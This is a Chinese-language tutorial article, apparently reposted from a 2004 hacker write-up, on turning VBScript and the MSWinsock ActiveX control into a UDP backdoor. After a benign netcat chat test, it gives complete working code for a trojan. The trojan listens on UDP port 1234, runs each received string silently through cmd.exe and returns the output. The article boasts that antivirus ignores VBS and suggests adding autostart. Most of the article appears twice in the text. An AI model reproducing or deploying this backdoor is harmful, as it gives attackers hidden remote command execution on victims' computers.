VBS+MSWinsock打造灵巧UDP后门的相关资料
程序员文章站
2022-04-09 11:45:25
大概在一年前，vbs脚本病毒又揭起一阵热潮，一大群vbs病毒在互联网上盛行。那时的vbs病毒几乎都是用fso、mapi作为一个病毒传染引擎，所以我就想，vbs可否访问网络呢...
大概在一年前，vbs脚本病毒又揭起一阵热潮，一大群vbs病毒在互联网上盛行。那时的vbs病毒几乎都是用fso、mapi作为一个病毒传染引擎，所以我就想，vbs可否访问网络呢？如果它也能进行端口的连接，那就神奇了。从此之后，我就努力去找有关vbs的网络类的资料，可惜找了好久，什么收获也没有，直到一个月前高考结束了，我才可以静下来搞这个东西，并终于有了一点进展。
现在分析一下vbs的运作原理吧。vbs的全称是“visual basic scripts”，由于vbs是由visual basic分离出来的一种面向对象的脚本语言,所以它的语法与visual basic差不多，而且也是靠object来实现它的其它高级功能。只不过是vbs是用wscript.exe或cscript.exe来解释的，因此它不需要编译，直接运行就行了，所以这也是vbs脚本做黑客工具方面的特长之一：普通杀毒软件不会对vbs感兴趣。因为vbs是一种面向对象的脚本语言，所以微软的很多activex组件都可以通过“createobject(“objectname”)”来创建引用，这可能是微软公司的程序接口吧！也许用过vb编写网络程序的朋友也知道，用vb写网络程序大致有两种：一是调用windows的api函数，二是用vb自带的winsock控件，也就是在windows系统目录中见到的“mswinsock.ocx”。由于前者的api函数比较复杂，很多朋友比较喜欢用vb自带的winsock控件，不知道大家有没有留意到那个winsock控件，其实它就是我前面讲的activex组件，它提供了访问tcp和udp网络服务的方便途径，为编写客户或服务器应用程序，不必了解tcp的细节或调用低级的winsock apis。通过设置控件的属性并调用其方法就可轻易连接到一台远程机器上去，并且还可双向交换数据。既然找到了访问网络的引擎，那如何来用呢？用法又是不和vb中那样用呢？
winsock控件用法大体上是同vb上的一样，但在vbs中，activex控件并不是像vb中那样是可以见到的，要在vbs上引用它当然是先创建它的对象。创建方法就像创建fso等对像。新建一个文本文件，在里面写入：
--------------------------------------------------
set sock=createobject("mswinsock.winsock")
sock.aboutbox
--------------------------------------------------
保存为*.vbs运行它，就可以看到注册在你系统中的winsock控件的有关信息。
怎能么样？开心吧，别急，我下面会详细讲讲。既然对象创建成功了，当然是要像vb中那样用它了。在vbs中创建的winscok不能像vb中那样图形介面那样设置参数就行，是应该一步一个脚印来设置好你所创的是什么协议。在winsock控件中要设置的协议是通过“protocol”来设定的，如sock.protocol=0 或 sock.protocol=1。注意当“protocol”的值为“0”时，所创建的协议是tcp；值为“1”时，则创建的是udp。
我先介绍一下有关winsock控件引用的基本方法和事件吧：
localhostname //取得本地主机名
localip //取得本地主机ip
sockethandle //取得创建socｋ的句柄
remoteport //设置或取得远程端口
localport //设置或取得本地端口
state //返回创建sock的对像状态(代吗如下){
0 缺省的。关闭
1 打开
2 侦听
3 连接挂起
4 识别主机
5 已识别主机
6 正在连接
7 已连接
8 同级人员正在关闭连接
9 错误 }
bytesreceived //返回接收到的（当前在接收端缓冲区内的）数据的数量
connect(remotehost,remoteport) //建立远程连接，remotehost远程主机ip，remoteport远程主机端口
listen //使sock侦听
senddata/getdata //发送或接收数据
close //关闭对像
bind(localport, localip)//绑定本地端口。
那些基本的东西我讲完了，下面我测试一下远程主机会话吧(udp)，下面是一个vbs文件，大家可以试试，代码如下(文件sock-udp.vbs)：
----------------------------------------
dim revdata
dim sendata
//创建winsock对像
set sock=createobject("mswinsock.winsock")
//使用udp协议
//建立连接
sock.protocol=1sock.connect "127.0.0.1",1234
//定义要发送的数据
sendata="hello!!!"&chr(13)
//发送我们要发的数据
sock.senddata sendata
do
//如果有数据回应就显示它
if sock.bytesreceived>0 then
//定义接收数据类型(数据类型有vbbyte、vbinteger、vblong、vbsingle
//vbdouble、vbcurrency、vbdate、vbboolean、vberror、vbstring、vbarray+vbbyte)
//也只有定义好要接收的数据类型才能收到数据，不然会收到的是一堆乱码;
sock.getdata revdata,vbstring;
sendata=inputbox (revdata,"recvieddata","请输入你要发的信息")
sock.senddata senddata & chr(13)
//当收到含有"exit"字串时结束vbs进程
if instr(revdata,"exit") then exit do
else
end if
loop
//关闭对像套接
sock.close
------------------------------------------
然后用“nc -u -l -p 1234”监听本地udp端口1234，再运行刚编写的vbs文件，看!我的nc有反应了。
里面的“microsoft (r) windows based script host”就是我们的vbs主进程了。在nc里我们还可以发信息、聊天，怎么样？一个简单的udp c/s已经完成了。下面我再写一个关于它的利用吧，既然它能访问网络，当然是用它的做个vbs木马啦！老编们不会反对吧！哈哈，let's go！
--------------------------
dim revdata
set sock=createobject("mswinsock.winsock")
set sc=createobject("wscript.shell")
set fso =createobject("scripting.filesystemobject")
sock.protocol=1 //这个当然是udp协议的标识啦
sock.bind 1234 //绑定本地的udp端口
do
if sock.bytesreceived>0 then
sock.getdata revdata,vbstring
if instr(revdata,"exit")>0 then
exit do
else
on error resume next
tempfile="c:\" & fso.gettempname
'cmd=right(revdata,len(revdata)-4)
cmd=left(revdata,len(revdata)-3)
//利用绑定cmd的输出
call sc.run ("cmd.exe /c " & cmd & " > " & tempfile,0,true)
set txf = fso.opentextfile(tempfile,1,false,0)
//把输出的文件读入内存，用senddata发送到客户端
sock.senddata txf.readall & vbcrlf & vbcrlf
txf.close
call fso.deletefile(tempfile,true)
end if
//嘻嘻,下面是我的版权喔
sock.senddata "--end--" & vbcrlf & "forhelp exit:end|run:<runfilename>" & vbcrlf & "maked by attrib data:2004.7.28" & vbcrlf & vbcrlf
end if
loop
sock.senddata "连接已关闭!" & vbcrlf
sock.close
sock=nothings
-------------------
到此，代码的基本架构已经完成了，要想做一个全能的木马可以在代码里加上诸如开机自动运行等。由于vbs程序没有设置出错保护，可能一些错误的操作会出现程蹦溃，有兴趣的朋友可以自己试试。用法是先把这个vbs后门运行在服务端，之后就用你的nc连，因为用的是udp协议，nc的命令行是“nc –u ip port”,记得要加上那个“-u”参数啊，之后就像winshell一样用就行了，下面是在我的机器里测试的截图。
至于tcp如何编写，道理也跟udp差不多，我这里就不再多写了，大家可以自己研究下。
如果有什么好的方法还可以和我一同研究。谢谢观赏。
现在分析一下vbs的运作原理吧。vbs的全称是“visual basic scripts”，由于vbs是由visual basic分离出来的一种面向对象的脚本语言,所以它的语法与visual basic差不多，而且也是靠object来实现它的其它高级功能。只不过是vbs是用wscript.exe或cscript.exe来解释的，因此它不需要编译，直接运行就行了，所以这也是vbs脚本做黑客工具方面的特长之一：普通杀毒软件不会对vbs感兴趣。因为vbs是一种面向对象的脚本语言，所以微软的很多activex组件都可以通过“createobject(“objectname”)”来创建引用，这可能是微软公司的程序接口吧！也许用过vb编写网络程序的朋友也知道，用vb写网络程序大致有两种：一是调用windows的api函数，二是用vb自带的winsock控件，也就是在windows系统目录中见到的“mswinsock.ocx”。由于前者的api函数比较复杂，很多朋友比较喜欢用vb自带的winsock控件，不知道大家有没有留意到那个winsock控件，其实它就是我前面讲的activex组件，它提供了访问tcp和udp网络服务的方便途径，为编写客户或服务器应用程序，不必了解tcp的细节或调用低级的winsock apis。通过设置控件的属性并调用其方法就可轻易连接到一台远程机器上去，并且还可双向交换数据。既然找到了访问网络的引擎，那如何来用呢？用法又是不和vb中那样用呢？
winsock控件用法大体上是同vb上的一样，但在vbs中，activex控件并不是像vb中那样是可以见到的，要在vbs上引用它当然是先创建它的对象。创建方法就像创建fso等对像。新建一个文本文件，在里面写入：
--------------------------------------------------
set sock=createobject("mswinsock.winsock")
sock.aboutbox
--------------------------------------------------
保存为*.vbs运行它，就可以看到注册在你系统中的winsock控件的有关信息。
怎能么样？开心吧，别急，我下面会详细讲讲。既然对象创建成功了，当然是要像vb中那样用它了。在vbs中创建的winscok不能像vb中那样图形介面那样设置参数就行，是应该一步一个脚印来设置好你所创的是什么协议。在winsock控件中要设置的协议是通过“protocol”来设定的，如sock.protocol=0 或 sock.protocol=1。注意当“protocol”的值为“0”时，所创建的协议是tcp；值为“1”时，则创建的是udp。
我先介绍一下有关winsock控件引用的基本方法和事件吧：
localhostname //取得本地主机名
localip //取得本地主机ip
sockethandle //取得创建socｋ的句柄
remoteport //设置或取得远程端口
localport //设置或取得本地端口
state //返回创建sock的对像状态(代吗如下){
0 缺省的。关闭
1 打开
2 侦听
3 连接挂起
4 识别主机
5 已识别主机
6 正在连接
7 已连接
8 同级人员正在关闭连接
9 错误 }
bytesreceived //返回接收到的（当前在接收端缓冲区内的）数据的数量
connect(remotehost,remoteport) //建立远程连接，remotehost远程主机ip，remoteport远程主机端口
listen //使sock侦听
senddata/getdata //发送或接收数据
close //关闭对像
bind(localport, localip)//绑定本地端口。
那些基本的东西我讲完了，下面我测试一下远程主机会话吧(udp)，下面是一个vbs文件，大家可以试试，代码如下(文件sock-udp.vbs)：
----------------------------------------
dim revdata
dim sendata
//创建winsock对像
set sock=createobject("mswinsock.winsock")
//使用udp协议
//建立连接
sock.protocol=1sock.connect "127.0.0.1",1234
//定义要发送的数据
sendata="hello!!!"&chr(13)
//发送我们要发的数据
sock.senddata sendata
do
//如果有数据回应就显示它
if sock.bytesreceived>0 then
//定义接收数据类型(数据类型有vbbyte、vbinteger、vblong、vbsingle
//vbdouble、vbcurrency、vbdate、vbboolean、vberror、vbstring、vbarray+vbbyte)
//也只有定义好要接收的数据类型才能收到数据，不然会收到的是一堆乱码;
sock.getdata revdata,vbstring;
sendata=inputbox (revdata,"recvieddata","请输入你要发的信息")
sock.senddata senddata & chr(13)
//当收到含有"exit"字串时结束vbs进程
if instr(revdata,"exit") then exit do
else
end if
loop
//关闭对像套接
sock.close
------------------------------------------
然后用“nc -u -l -p 1234”监听本地udp端口1234，再运行刚编写的vbs文件，看!我的nc有反应了。
里面的“microsoft (r) windows based script host”就是我们的vbs主进程了。在nc里我们还可以发信息、聊天，怎么样？一个简单的udp c/s已经完成了。下面我再写一个关于它的利用吧，既然它能访问网络，当然是用它的做个vbs木马啦！老编们不会反对吧！哈哈，let's go！
--------------------------
dim revdata
set sock=createobject("mswinsock.winsock")
set sc=createobject("wscript.shell")
set fso =createobject("scripting.filesystemobject")
sock.protocol=1 //这个当然是udp协议的标识啦
sock.bind 1234 //绑定本地的udp端口
do
if sock.bytesreceived>0 then
sock.getdata revdata,vbstring
if instr(revdata,"exit")>0 then
exit do
else
on error resume next
tempfile="c:\" & fso.gettempname
'cmd=right(revdata,len(revdata)-4)
cmd=left(revdata,len(revdata)-3)
//利用绑定cmd的输出
call sc.run ("cmd.exe /c " & cmd & " > " & tempfile,0,true)
set txf = fso.opentextfile(tempfile,1,false,0)
//把输出的文件读入内存，用senddata发送到客户端
sock.senddata txf.readall & vbcrlf & vbcrlf
txf.close
call fso.deletefile(tempfile,true)
end if
//嘻嘻,下面是我的版权喔
sock.senddata "--end--" & vbcrlf & "forhelp exit:end|run:<runfilename>" & vbcrlf & "maked by attrib data:2004.7.28" & vbcrlf & vbcrlf
end if
loop
sock.senddata "连接已关闭!" & vbcrlf
sock.close
sock=nothings
-------------------
到此，代码的基本架构已经完成了，要想做一个全能的木马可以在代码里加上诸如开机自动运行等。由于vbs程序没有设置出错保护，可能一些错误的操作会出现程蹦溃，有兴趣的朋友可以自己试试。用法是先把这个vbs后门运行在服务端，之后就用你的nc连，因为用的是udp协议，nc的命令行是“nc –u ip port”,记得要加上那个“-u”参数啊，之后就像winshell一样用就行了，下面是在我的机器里测试的截图。
至于tcp如何编写，道理也跟udp差不多，我这里就不再多写了，大家可以自己研究下。
如果有什么好的方法还可以和我一同研究。谢谢观赏。